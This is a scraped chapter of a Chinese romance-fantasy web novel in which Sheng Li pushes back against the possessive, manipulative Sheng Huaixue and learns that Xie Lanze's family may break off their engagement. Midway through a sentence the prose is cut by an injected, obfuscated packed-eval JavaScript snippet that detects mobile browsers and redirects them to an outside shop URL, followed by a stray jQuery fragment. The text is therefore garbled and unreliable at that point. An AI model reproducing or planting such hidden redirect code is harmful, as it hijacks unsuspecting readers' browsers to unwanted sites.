文趣网 > 都市小说 > 她为什么对我这么好? > 72. 第72章
    这还是21世纪吗?这还是法治社会吗?为什么盛淮雪动不动就喊打喊杀?就没人来管管他吗?

    盛礼气不打一处来,大力挣开盛淮雪的手蒙头倒下。过了一会,蒙在头上的被子再次被扯了下去。盛礼回头怒视那人:“我要睡觉了!!”

    “等一会再睡,生着气睡觉对身体不好。”

    似乎是明白自己才是导致盛礼生气的根本原因,青年的声音有些低:“我出去透透气,你缓和一下情绪再睡吧。”

    房门关上,狭长的走廊里再没有女孩柔软亲切的身影,只剩了盛淮雪一个人。

    青年倚在墙上,抬手点燃了一支烟。尼古丁缓缓盈满胸腔,盛淮雪紧绷的神经才松弛了一点。

    盛礼太不可控了,也太招人了。

    猩红的火星在黑暗中明灭,映进青年漆黑的瞳孔中。

    真想把她关起来啊。他想。

    单方面和盛淮雪交恶后,盛礼竟产生了一丝迷茫。

    在剑宗时,她总是跟在霍见辞屁股后面东奔西走,来到这个时空后,她大部分心思也都围在盛淮雪身上。如今想把这个占据她大部分时间和心力的人从自己的生活中剔除,盛礼一时感觉心里空落落的。

    思绪乱飞,又想起昨天谢兰泽离开时憔悴的神色,盛礼总归有些不放心,便给谢兰泽打了个电话。

    并没有人接听。

    盛礼退而求其次,又给谢兰泽发了条消息,问他是不是遇到了什么困难,需不需要她帮忙。

    盛淮雪端着早餐进来时,盛礼正盯着谢兰泽的对话框发愣。

    盛淮雪把所有的情绪收敛起来,将餐盘放在小餐桌上,柔声道:“吃饭了。”

    “谢谢。”

    少女语调平淡,面无表情地收起手机,起身去洗手。

    青年敛眉。在感情方面,客气又平淡的疏离比声嘶力竭的愤怒要危险得多。

    盛礼洗完手坐到小餐桌前,刚想去拿筷子,青年却先一步把餐具拿在了手里。

    看着青年熟练擦拭餐具的动作,盛礼蹙了下眉:“我的胳膊已经能动了,吃饭不需要别人喂了。”

    “嗯。但是我身上的伤还很疼。”青年将擦拭干净的餐具放在盛礼面前,抬眸看着她:“你可以喂我吗?”

    “不可以。”少女无情拒绝:“你要是残了可以去找护工,不要来麻烦我。”

    盛礼起身就走,青年并没有挽留的动作,只是平静的问:“你不想知道谢兰泽究竟发生了什么事么。”

    盛礼脚步一顿,刚想反驳什么,却听青年道:“你大可以去问别人,但我敢保证,除了我,不会再有别人知道他的真实情况。”

    谢兰泽说他们的事不宜公开,盛礼也不好去问别人,盛淮雪与妖族有联系,肯定掌握了一些世家正道不知道的消息,从他这里入手的确是最正确的选择。

    盛礼有些不爽:“你想要干什么?”

    “坐下,喂我。”

    盛礼额头青筋直跳,过了好一会,才愤愤坐了回去,没好气地夹了一筷子不知道是什么的菜往青年唇边一送:“吃。”

    青年看着盛礼,张开薄唇,优雅的将菜纳入口中,在盛礼想把筷子收走时,又似有似无地咬了下筷子头。

    看着青年不断开合的红润薄唇,盛礼鬼使神差地问道:“其实你是在勾引我吧?”

    “对啊。”漂亮的青年欣慰一笑:“小礼长进了,居然看出来了。”

    盛礼冷着脸:“我有男朋友了,请你自重。”

    盛淮雪垂下眼睫,遮住眼底的晦暗,几秒后,又恢复如常,颇为自得的指导盛礼:“我要吃那个。”

    盛礼不耐烦地夹了一筷子递过去,青年启唇,咀嚼,动作优雅的像一个真正的贵族。

    食物全部咽下去后,盛淮雪用纸巾擦拭了下唇角,视线却一定盯在盛礼脸上。

    “小礼只是看起来热情明媚,骨子里其实是很冷漠绝情的人。”青年静静看着盛礼的脸:“不然小礼在决定抛弃一个人的时候,怎么会如此决绝说走就走,一点情面都不留。”

    “少扯那些没用的。”盛礼听着就烦:“谢兰泽到底怎么了。”

    “亲我一下我就告诉你。”

    “盛淮雪!!”

    看着少女脸上不耐烦的疏离终于被恼怒所替代,盛淮雪勾起唇角:“跟你开玩笑的,别生气。”

    眼看少女就要炸毛急眼,盛淮雪这才缓缓道:“谢家正在准备和你退婚。”

    盛礼蹙眉:“为什么?”

    盛淮雪自然不会把真实的原因说出来,只道:“在祁家宴厅时你出事,差点儿连累了谢兰泽,谢家自然不会想要这样拖后腿的联姻对象。”

    “可这关谢兰泽什么事?”

    “谢兰泽是谢家的少主,没有他点头,你认为谢家主真能违背他的意愿强行退婚么?”

    盛礼垂在桌下的手指轻轻捻了捻,脑中回想起谢兰泽当初和她说“试试”的场景,半晌后,她看着盛淮雪的眼睛:“谢谢你告诉我这些,但我不信你。”

    少女起身就走,盛淮雪淡定道:“你联系不上谢兰泽了吧。是联系不上了,还是他不想再联系你了,你要好好想清楚。”

    盛礼的脚步再次顿住。

    “谢兰泽是在半山庄园的考核结束后和你表白的吧。你在那场考核里表现得亮眼又出色,谢家自然不想放过这样一件趁手的工具。可是你在祁家宴厅中被妖人重伤,许多普通民众都看见了,祁家少主同你一起,至今还在昏迷,这就意味着你可能得罪了祁家,这样一个烫手山芋,谢兰泽自然不会再想要了。”

    少女的眉心拧得越来越紧,盛淮雪起身牵住她的手:“小礼,你太轻信于人了,九大世家里出来的,能有什么好东西?”

    沉思了好一会,盛礼抬眼看向身边的青年,认真道:“盛淮雪,你挑拨离间的意图也太明显了吧。”

    青年顿了下。

    “放在以前,我肯定是百分百相信你的,但是现在,你在我心里的信誉还不如给我发短信让我打钱救他的秦始皇。”

    盛淮雪:“。”

    “做人还是要少

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641164|202028||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    点套路,多点真诚。”盛礼把手抽出来,拍了拍盛淮雪的肩膀:“你下次要是再把我当傻子糊弄,我就要揍你了。”

    少女留下个好自为之的眼神,头也不回地走出了病房。

    盛淮雪看着她远去的身影,舌尖轻轻扫过犬齿,不自觉笑了下。

    盛礼身上似乎总有一种能让人笑出来的魔力,这样的人,就算做错了什么,也让人舍不得责备。

    笑意渐深,青年拿出根烟衔在嘴间。

    这样的人,谁都休想从他手中夺走。

    *

    在医院外面的小花园里遛弯的时候碰见独孤尧,盛礼是很诧异的。毕竟她和独孤尧的交情甚至没有和祁听云的深,所以自然而然的以为他是来找盛淮雪的。

    “盛淮雪在楼上病房。”

    “我是来找你的。”独孤尧面上没有什么表情:“祁听云想见你一面。”

    “什么意思?”盛礼警惕的往后退了一大步:“杀我一次没杀死,还要再来一次?”

    叶君亭曾经随口跟盛礼提过一次,祁听云和独孤尧自小一起长大,他们之间的感情不是简单的队友能够定义的。

    盛礼警惕地看着独孤尧:“你不会……”

    “你误会了。我不会和祁家同流合污。祁听云当初害你也是被逼无奈,现在他知道自己错了,想当面向你道歉。”独孤尧向周围扫了一眼,声音低了些:“也想告诉你祁家要杀你的原因,你现在的处境很危险,听一听对你没有坏处。”

    盛礼狐疑:“那他为什么不来找我?向我道歉还要我亲自去,这也太没诚意了吧。”

    “他伤得很重,灵府近乎枯竭,现在还下不了床。”

    其实祁听云从折叠空间里出来时固然伤重,也不至于一直昏迷到今天才醒。让他几乎丧命的,是盛淮雪。

    盛礼昏迷的那两天,祁听云却还醒着,盛淮雪只身一人闯进祁家,拎起祁听云就是一顿揍。祁听云愧疚得要死,自然不会反抗,若不是独孤尧碰巧去探望,祁听云那天怕是就要折在盛淮雪手里了。

    盛淮雪向来温雅平和,那是独孤尧第一次看他发怒,脸上没有什么表情,也什么话都不说,只是一下接一下的揍人,招招致命。

    不过为了少生些事端,这件事不会有人告诉盛礼。

    独孤尧只道:“你如果不放心,可以叫盛淮雪陪你一起去。”

    拉倒吧,盛淮雪去了她更不放心。

    想了又想,盛礼给玄刃发了条消息。自从她去了半山庄园学习,玄刃也去了暗卫营进修,两人好久没见了,只是通过社交软件有一搭没一搭的聊着。如今她要深涉险境,自然要带上自己进修了一段时间的贴身暗卫。

    盛礼和独孤尧达成协议,一同在医院门口等玄刃。没想到玄刃没等来,却等来了盛淮雪。

    “小礼去探望病人,怎么不叫上我?”盛淮雪对盛礼温柔地笑了笑,而后望向独孤尧,不动声色的把盛礼护在身后:“我也很担心祁少的。”

    独孤尧:“……”

    是担心他没有死吧。